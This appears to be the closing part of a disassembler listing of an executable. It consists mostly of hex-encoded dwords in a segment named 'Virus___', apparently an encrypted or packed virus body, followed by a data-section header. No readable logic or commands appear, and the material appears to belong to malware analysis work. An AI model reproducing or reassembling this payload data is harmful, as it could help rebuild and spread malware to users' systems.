		dd 0ABD70FF7h, 0EA1A8283h, 0D7E1F0E1h, 19978038h, 0D7E15BA2h
		dd 373AE3Eh, 9A2FA63Bh,	0DC40078h, 9CE1F0E1h, 0CBB81AFEh
		dd 0EB18C56Bh, 5CE1F0E1h, 0C5B60AC4h, 0BC651084h, 22B8FFCFh
		dd 0DBE1F0E1h, 24142272h, 0E3E766Ah, 0F518F0E1h, 56E1F0E1h
		dd 406C4557h, 28D92079h, 7C335873h, 580C97BEh, 0F1E0CB61h
		dd 0E417D6Ah, 977BF0E1h, 0C494A33Bh, 942F3939h,	0E45890Ch
		dd 5A56F0E1h, 6BBA91E2h, 201A5511h, 0E3E1F0E1h,	0D1140848h
		dd 3153BDAEh, 18A2278h,	0D0B2EBC6h, 21BEFFA0h, 5DE1F0E1h
		dd 0CB0F111Eh, 0DE1F16Ah, 0B64AEB19h, 400B2633h, 0E49DC2B0h
		dd 6BE4F0D8h, 0E389635h, 1E15F0E1h, 7E83B0BDh, 23B9D4F5h
		dd 0F7B9005Fh, 8EE1F0E1h, 0C4930BAFh, 0FF8B708Bh, 578D676Dh
		dd 362E2CFh, 0D6A227B1h, 0DE1F146h, 299F4774h, 4E28FFFh
		dd 0D668336Dh, 0DE1F146h, 0F11B3691h, 2689B266h, 6F310254h
		dd 23BAF34Ch, 28E1F0E1h, 74B1F759h, 0DE1F0E1h, 0DE1FFA8h
		dd 72544BE1h, 0B0BB58D1h, 595214h, 57C003E1h, 0D5945873h
		dd 0DE1F070h, 0D1752B84h, 1E6CA2DCh, 11217404h,	16BD9226h
		dd 9FB20606h, 0DE1F175h, 111CA63Bh, 0E407273h, 0B161F0E1h
		dd 0D7D88DDh, 50E4F0E1h, 0DFAAB969h, 3B6E08D2h,	0BD580CF1h
		dd 0E41696Ah, 0C8BEF0E1h, 0E42806Ah, 6D29F0E1h,	0E438857h
		dd 0FC8FF0E1h, 37D71D3Fh, 700D7A51h, 0B7691A41h, 0E50895Eh
		dd 0A3A2F0E1h, 520E9308h, 0BB1C3B42h, 0E7138B91h, 228911E9h
		dd 0EBF005Dh, 0E5E1F0E1h, 0F7BAF356h, 8EE1F0E1h, 0AD471F9Bh
		dd 0E3888B4h, 0B3EBF0E1h, 0F5D5F202h, 0FD0F1166h, 57307411h
		dd 0A14BB361h, 572C586Ah, 1D0AB7CFh, 0A313769Ah, 0F4F522D3h
		dd 0B916A5CBh, 0A660026Ah, 78972627h, 9E8DCB61h, 6C2D116Dh
		dd 0A39B1E07h, 0D61EB0CEh, 0DE1F143h, 33FA3C04h, 0C1915D4Eh
		dd 16F2647Ch, 0C0751939h, 0B784713Bh, 0D8947E06h, 0A6E0D9D0h
		dd 4F1870B7h, 8C92711Eh, 6EE4168Fh, 0DFB81B25h,	0A3AB3D72h
		dd 1BB0C330h, 0B292C139h, 20967612h, 0F41A9892h, 18E1F0E1h
		dd 30A77AF3h, 883F99BCh, 97D9E54Ah, 0CE741AC7h,	0D0BC85A2h
		dd 0E462FFD2h, 0DE20DA8h, 6F7B08E1h, 93F7F472h,	36214392h
		dd 389C37B6h, 88BC8A81h, 0D0B14A9Bh, 699B063Fh,	266F1B04h
		dd 5732677Dh, 214EAD38h, 0E1CB979Ah, 0E4395D2h,	4A0AF0E1h
		dd 3A91F4A4h, 0F118FB2Dh, 35E1F0E1h, 2C398D7Bh,	0D9E70B16h
		dd 9CE7FCF2h, 0F4CEC010h, 1AFAC9CBh, 0D6343B0Bh, 0DE1F143h
		dd 0DAF1CE8Dh, 0F9554DD1h, 978BF195h, 0F71A8021h, 18E1F0E1h
		dd 0A556DF6h, 0CBB819B7h, 1F1AACDCh, 0CCE1F0E1h, 638C0CC4h
		dd 21C89343h, 0F621084Bh, 0E68D7404h, 0F71A85CFh, 12E1F0E1h
		dd 0B8C0ECEDh, 0E52881Ch, 0D5B2F0E1h, 35C68A37h, 0AD5975FDh
		dd 0ADA9AD0Fh, 0D6DE4DD0h, 0DE1F017h, 76278866h, 488274E6h
		dd 0E54FEDE3h, 0DECA4BFDh, 1D02D080h, 0DE1F0F5h, 0E3F95E1h
		dd 7B59F0E1h, 0FF0B36Bh, 28092EA8h, 5B45D995h, 17BD8D45h
		dd 88BC72A4h, 0F73D0077h, 5EE1F0E1h, 0D5685940h, 8D7F7053h
		dd 0F171A63Bh, 0DE20CA8h, 535608E1h, 2ED44DEh, 6D702ED9h
		dd 86A301DEh, 86C58D0Dh, 0E4BF0FDFh, 0E7B81A40h, 0D6CB61D2h
		dd 0CF316788h, 0F4461B55h, 0CB0AAD57h, 0DE1F017h, 0C7A81842h
		dd 0C23B7CA6h, 7D7B1DB7h, 4F0F83B5h, 6EC20A28h,	0E724B661h
		dd 0F81A0C6Bh, 55E1F0E1h, 54F1379Ah, 8313C17Dh,	0D09B1E79h
		dd 69ABCEB3h, 23B00006h, 9CE1F0E1h, 1C6B0078h, 6E621A41h
		dd 0A98170F3h, 1C7C6A40h, 0DE20BBEh, 0EACBFFE1h, 0D5E1F0E1h
		dd 0DE1F122h, 96C9A671h, 6CC9149Ch, 0A5315873h,	3DFB6016h
		dd 0DE1F4A9h, 0C4A8C3E1h, 0D081DCB1h, 1590CB09h, 0A2B14DA7h
		dd 0DE1F174h, 0AC85713Bh, 7D760386h, 0D1E05840h, 2D94713Bh
		dd 57917E7Bh, 20E30215h, 0DE1EEF5h, 21566BE1h, 0DE1FBC3h
		dd 0F062FFE1h, 0E448841h, 1D8F0E1h, 0A8D4ECE4h,	1CFFE4BDh
		dd 0DE1FBCFh, 0F06AFFE1h, 0CCB76040h, 2A50DC5Ch, 0EEA9A061h
		dd 0D62D2082h, 0DE1F143h, 37CB571Ch, 39A6963Bh,	606D9A6Bh
		dd 69A5700Ch, 0E9C7006Ch, 20E1F0E1h, 0DE1FABDh,	0DC4FFE1h
		dd 57E1F0E1h, 0F31AC0CFh, 0D6E1F0E1h, 0F1A91772h, 0D5FA6DA5h
		dd 1F7F7DEDh, 0C0CC1EA8h, 0D3BE1B8Dh, 6C2B713Bh, 76BCACAAh
		dd 0DE1F13Eh, 20D1A761h, 0DE1F3A2h, 0E4595E1h, 0C03CF0E1h
		dd 8DA7E785h, 0DE1F9A8h, 8A0302E1h, 0EB19DDCFh,	81E1F0E1h
		dd 5CAE302Bh, 0E0C467F3h, 0EFBE1B8Eh, 0E50891Fh, 2762F0E1h
		dd 0F143693Ch, 0E44BB045h, 0A832D6F2h, 1F0E8E04h, 0EBAFFC7h
		dd 0E6E1F0E1h, 2080586Ah, 0DE1F561h, 0E4495E1h,	8DAEF0E1h
		dd 8FBD64B5h, 0F7C3FFC9h, 8EE1F0E1h, 0D02DC16Eh, 0DBC8923h
		dd 0EA54F0E1h, 0A53A05F4h, 6C5598F5h, 2EFA2B77h, 5F2470E7h
		dd 69A7FA40h, 831A7DFCh, 0A7CF5827h, 0CDB81A14h, 76B2F0A6h
		dd 0DE1F174h, 0D68A713Bh, 18B00034h, 20E1F0E1h,	0DE1FDC6h
		dd 88B2E5E1h, 0E4B81AA0h, 8DBC94B0h, 0DE1F149h,	0E41766Ah
		dd 87D1F0E1h, 0DB16B961h, 572908C1h, 0BF463434h, 0E398901h
		dd 0A82CF0E1h, 0AAB199AEh, 0D8D76C7Ch, 0E4B6F6Ah, 0D0B2F0E1h
		dd 0FD6AFF9Bh, 8535713Bh, 30601A21h, 0CE62F2E6h, 0D617ACCFh
		dd 0DE1F045h, 0BC4C34B5h, 5C7F3AF6h, 79D40291h,	8ED830Ch
		dd 0BAAD569Dh, 0E90F3F41h, 1AE1F0E1h, 435DEA20h, 0BEF61889h
		dd 6D900F02h, 69084B1Eh, 0CB981DFCh, 0DE1F122h,	68204CB2h
		dd 0D5925202h, 0DE1F045h, 0E817876Dh, 39EE1700h, 0AB0C60BFh
		dd 3F19BA9Dh, 0EE0A7BECh, 0B0B3AE60h, 1D0E152Dh, 0D9A58392h
		dd 0A0BC5DE4h, 0DE1F13Eh, 0BE79673Bh, 18C4FFC7h, 20E1F0E1h
		dd 0DE1FDC9h, 0DFBEE4E1h, 7B8675B0h, 0B0BD7140h, 0C7B8AD26h
		dd 0FDBE19B2h, 5F155856h, 69B2F58Bh, 0DE1F13Eh,	0DE1F1A8h
		dd 171666E1h, 887E6B97h, 97AD3DBEh, 1D117E1Bh, 0DE1FBC7h
		dd 389570E1h, 9D476D58h, 0BE8273D3h, 0E4395C7h,	0E59AF0E1h
		dd 11C3E67h, 78C1FD58h
		dd 1D1482CFh, 0DE1F0BEh, 0CB9738E1h, 0DE1F174h,	6D5C0EB2h
		dd 0E45894Ah, 9F7AF0E1h, 73964C69h, 0BE9B6740h,	2218E41Eh
		dd 34E1F0E1h, 0BE80099Eh, 0A47A973Bh, 74BCBBC6h, 0DE1F174h
		dd 0A2D0DFFFh, 6D8A6E85h, 0D0B21E6Ah, 0F619114Bh, 0A3E1F0E1h
		dd 251E18Dh, 64590347h,	0E4B7E73h, 1CFFF0E1h, 0DE1FBBEh
		dd 0FC62FFE1h, 19BD7140h, 0CBA2AE63h, 0DE1F148h, 0E8DE13D9h
		dd 713588Dh, 0E3E8987h,	3FF4F0E1h, 0C1B4BD8Fh, 8BFCE497h
		dd 8ED8AEBDh, 0E7996E31h, 0E46881Fh, 1C15F0E1h,	47DEEE63h
		dd 7B0ABBCFh, 0E4B7173h, 6D34F0E1h, 0E457373h, 0E0C0F0E1h
		dd 4162918Bh, 2C435636h, 0D99B10ACh, 977575C4h,	0E44806Ah
		dd 0E7C1F0E1h, 2DE8593Bh, 20187641h, 20239F92h,	0BEE1F0E1h
		dd 0FF505C19h, 4DCBF5E9h, 0FDE4BAEh, 0EFB732C7h, 4788EA7Bh
		dd 7C0F354h, 0D5E1F0E1h, 0DE1F13Ch, 0DF438731h,	30A37D5Eh
		dd 2A26AA03h, 0F62F2B7h, 0CBA11059h, 0DE1F14Fh,	9AED9A3Dh
		dd 2023E791h, 0A1B21AEFh, 0DE1F0E1h, 0AC62F340h, 0D5B81A40h
		dd 0DE61E281h, 0E4B81AA1h, 0E73D419h, 0E5E0D81Dh, 0DA78941h
		dd 7600F0E1h, 0A8A41EE0h, 0BF9C989Eh, 1F23AD3Dh, 97E1F0E1h
		dd 1BBA6540h, 17A02360h, 1A71706Bh, 319801E3h, 834A61Eh
		dd 0D09B1A81h, 6DA27385h, 0DE200A9h, 6205C8E1h,	0F6E54DDEh
		dd 0B2F8D19Bh, 21C63577h, 0E458993h, 0DDAAF0E1h, 0E82D45BEh
		dd 0FCB81A59h, 74B1B7A7h, 0DE1F13Eh, 0CC9B673Bh, 13FFh dup(0CCCCCCCCh)
		dd 0CCCCCCh, 88h dup(0)
Virus___	ends

; Section 5. (virtual address 001B8000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001B8000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5B8000h
		dd 80h dup(0)
		dd 328h	dup(?)
		db ?
dword_5B8EA1	dd ?				align 200h
_idata2		ends


		end start